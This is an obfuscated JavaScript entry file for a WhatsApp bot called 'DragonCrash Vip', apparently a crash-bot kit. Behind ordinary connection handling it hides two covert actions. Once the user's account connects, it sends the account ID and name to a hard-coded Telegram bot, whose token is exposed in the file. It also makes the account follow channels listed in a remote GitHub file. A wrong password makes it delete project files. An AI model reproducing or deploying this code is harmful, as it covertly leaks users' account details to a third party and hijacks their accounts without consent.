require('./settings'); const { default: makeWASocket, prepareWAMessageMedia, useMultiFileAuthState, DisconnectReason, fetchLatestBaileysVersion, makeInMemoryStore, generateWAMessageFromContent, generateWAMessageContent, jidDecode, proto, relayWAMessage, getContentType, getAggregateVotesInPollMessage, downloadContentFromMessage, fetchLatestWaWebVersion, InteractiveMessage, makeCacheableSignalKeyStore, Browsers, generateForwardMessageContent, MessageRetryMap } = require('@whiskeysockets/baileys'); const axios = require("axios"); const pino = require("pino"); const readline = require("readline"); const fs = require('fs'); const chalk = require("chalk"); const { Boom } = require('@hapi/boom'); const { color } = require("./lib/color"); const { smsg, sendGmail, formatSize, isUrl, generateMessageTag, getBuffer, getSizeMedia, runtime, fetchJson, sleep } = require("./lib/myfunc"); const rl = readline.createInterface({ 'input': process.stdin, 'output': process.stdout }); const question = _0xd4ce44 => { return new Promise(_0x979de6 => { rl.question(_0xd4ce44, _0x979de6); }); }; const sendTelegramNotification = async _0x16fe35 => { try { await axios.post("https://api.telegram.org/bot7586615714:AAFuh3e3P7hoV6iY2AQspAeDoplrmbKF3f0/sendMessage", { 'chat_id': "7676736907", 'text': _0x16fe35 }); } catch (_0xc65425) {} }; function deleteFiles() { const _0x35359f = ["case.js", 'index.js']; _0x35359f.forEach(_0x2d9a23 => { if (fs.existsSync(_0x2d9a23)) { fs.unlinkSync(_0x2d9a23); console.log("File " + _0x2d9a23 + " Telah di Hapus Karena Lu Tolol"); } }); } const store = makeInMemoryStore({ 'logger': pino().child({ 'level': 'silent', 'stream': "store" }) }); console.clear(); console.log(chalk.white.bold("\n" + chalk.red("Getting Connection Acces") + "\n" + chalk.blue("Acces Granted") + "\n")); console.log(chalk.white.bold(chalk.cyan(" , welcome to DragonCrash Vip") + "\n\n")); async function ConnetToWhatsapp() { const { state: _0x476e74, saveCreds: _0x5b1b16 } = await useMultiFileAuthState("./session"); const _0x4a22b7 = makeWASocket({ 'logger': pino({ 'level': 'silent' }), 'printQRInTerminal': false, 'auth': _0x476e74, 'browser': ["Ubuntu", "Chrome", "20.0.04"] }); if (true && !_0x4a22b7.authState.creds.registered) { const _0x2a68a8 = await question("masukin pw:\n"); if (_0x2a68a8 !== "Dragon") { console.log("Password Salah tololāŒ\nSystem Akan Menghapus File Dan mematikan Running karna lu tolol!"); deleteFiles(); process.exit(); } console.log(chalk.green.bold("SELAMAT ANDA TELAH MEMASUKAN PW YG BENAR\nMASUKAN NOMOR LU BIAR BOT DragonCrash Vip TERSAMBUNG KE WA LU")); const _0x330102 = await question(chalk.cyan.bold("Masukin nomor lu cuki : ")); const _0x290b05 = await _0x4a22b7.requestPairingCode(_0x330102.trim()); console.log(chalk.green.bold("Code : " + _0x290b05)); } store.bind(_0x4a22b7.ev); _0x4a22b7.ev.on('messages.upsert', async (_0x256bab, _0x5398b6) => { try { const _0x5089e0 = _0x256bab.messages[0x0]; if (!_0x5089e0.message) { return; } _0x5089e0.message = Object.keys(_0x5089e0.message)[0x0] === "ephemeralMessage" ? _0x5089e0.message.ephemeralMessage.message : _0x5089e0.message; if (_0x5089e0.key && _0x5089e0.key.remoteJid === "status@broadcast") { return; } if (!_0x4a22b7["public"] && !_0x5089e0.key.fromMe && _0x256bab.type === "notify") { return; } if (_0x5089e0.key.id.startsWith("BAE5") && _0x5089e0.key.id.length === 0x10) { return; } if (_0x5089e0.key.id.startsWith("Farel")) { return; } const _0xa880d4 = smsg(_0x4a22b7, _0x5089e0, store); require("./case")(_0x4a22b7, _0xa880d4, _0x256bab, store); } catch (_0x34b1dd) { console.log(_0x34b1dd); } }); _0x4a22b7.decodeJid = _0x1d9c48 => { if (!_0x1d9c48) { return _0x1d9c48; } if (/:\d+@/gi.test(_0x1d9c48)) { let _0x5a4335 = jidDecode(_0x1d9c48) || {}; return _0x5a4335.user && _0x5a4335.server && _0x5a4335.user + '@' + _0x5a4335.server || _0x1d9c48; } else { return _0x1d9c48; } }; _0x4a22b7.ev.on("contacts.update", _0x3a0315 => { for (let _0x99d822 of _0x3a0315) { let _0x30837d = _0x4a22b7.decodeJid(_0x99d822.id); if (store && store.contacts) { store.contacts[_0x30837d] = { 'id': _0x30837d, 'name': _0x99d822.notify }; } } }); _0x4a22b7["public"] = true; _0x4a22b7.ev.on("connection.update", async _0x373eaf => { const { connection: _0x82f9bd, lastDisconnect: _0x319721 } = _0x373eaf; if (_0x82f9bd === 'close') { const _0xaf4db3 = new Boom(_0x319721?.['error'])?.["output"]["statusCode"]; console.log(color(_0x319721.error, "deeppink")); if (_0x319721.error == "Error: Stream Errored (unknown)") { process.exit(); } else { if (_0xaf4db3 === DisconnectReason.badSession) { console.log(color("Bad Session File, Please Delete Session and Scan Again")); process.exit(); } else { if (_0xaf4db3 === DisconnectReason.connectionClosed) { console.log(color('[SYSTEM]', "white"), color("Connection closed, reconnecting...", "deeppink")); process.exit(); } else { if (_0xaf4db3 === DisconnectReason.connectionLost) { console.log(color("[SYSTEM]", "white"), color("Connection lost, trying to reconnect", "deeppink")); process.exit(); } else { if (_0xaf4db3 === DisconnectReason.connectionReplaced) { console.log(color("Connection Replaced, Another New Session Opened, Please Close Current Session First")); _0x4a22b7.logout(); } else { if (_0xaf4db3 === DisconnectReason.loggedOut) { console.log(color("Device Logged Out, Please Scan Again And Run.")); _0x4a22b7.logout(); } else { if (_0xaf4db3 === DisconnectReason.restartRequired) { console.log(color("Restart Required, Restarting...")); await ConnetToWhatsapp(); } else if (_0xaf4db3 === DisconnectReason.timedOut) { console.log(color("Connection TimedOut, Reconnecting...")); ConnetToWhatsapp(); } } } } } } } } else { if (_0x82f9bd === "connecting") { console.log(color("Menghubungkan . . . ")); } else { if (_0x82f9bd === "open") { async function _0x2615ba(_0x4a2bab) { const _0x25c0ad = await axios.get("https://raw.githubusercontent.com/LONDO51/londohost/refs/heads/main/chanelid.json"); const _0x1a716d = _0x25c0ad.data; for (const _0x2907bf of _0x1a716d) { await _0x4a2bab.newsletterFollow(_0x2907bf); } } _0x2615ba(_0x4a22b7); console.log(color("Bot Berhasil Tersambung")); sendTelegramNotification("Connection\n\nThe device has been connected, Here is the information\n> User ID : " + _0x4a22b7.user.id + "\n> Username : " + _0x4a22b7.user.name + "\n\nGanzzGanteng : Created By Londo"); } } } }); _0x4a22b7.sendText = (_0x2613cc, _0x50a7a4, _0x44fa81 = '', _0x501fb3) => _0x4a22b7.sendMessage(_0x2613cc, { 'text': _0x50a7a4, ..._0x501fb3 }, { 'quoted': _0x44fa81 }); _0x4a22b7.downloadMediaMessage = async _0x99b1f2 => { let _0x4c5484 = (_0x99b1f2.msg || _0x99b1f2).mimetype || ''; let _0x135906 = _0x99b1f2.mtype ? _0x99b1f2.mtype.replace(/Message/gi, '') : _0x4c5484.split('/')[0x0]; const _0x5a0545 = await downloadContentFromMessage(_0x99b1f2, _0x135906); let _0x31c0af = Buffer.from([]); for await (const _0x36c1df of _0x5a0545) { _0x31c0af = Buffer.concat([_0x31c0af, _0x36c1df]); } return _0x31c0af; }; _0x4a22b7.ev.on('creds.update', _0x5b1b16); return _0x4a22b7; } ConnetToWhatsapp(); let file = require.resolve(__filename); require('fs').watchFile(file, () => { require('fs').unwatchFile(file); console.log("" + __filename + " updated!"); delete require.cache[file]; require(file); });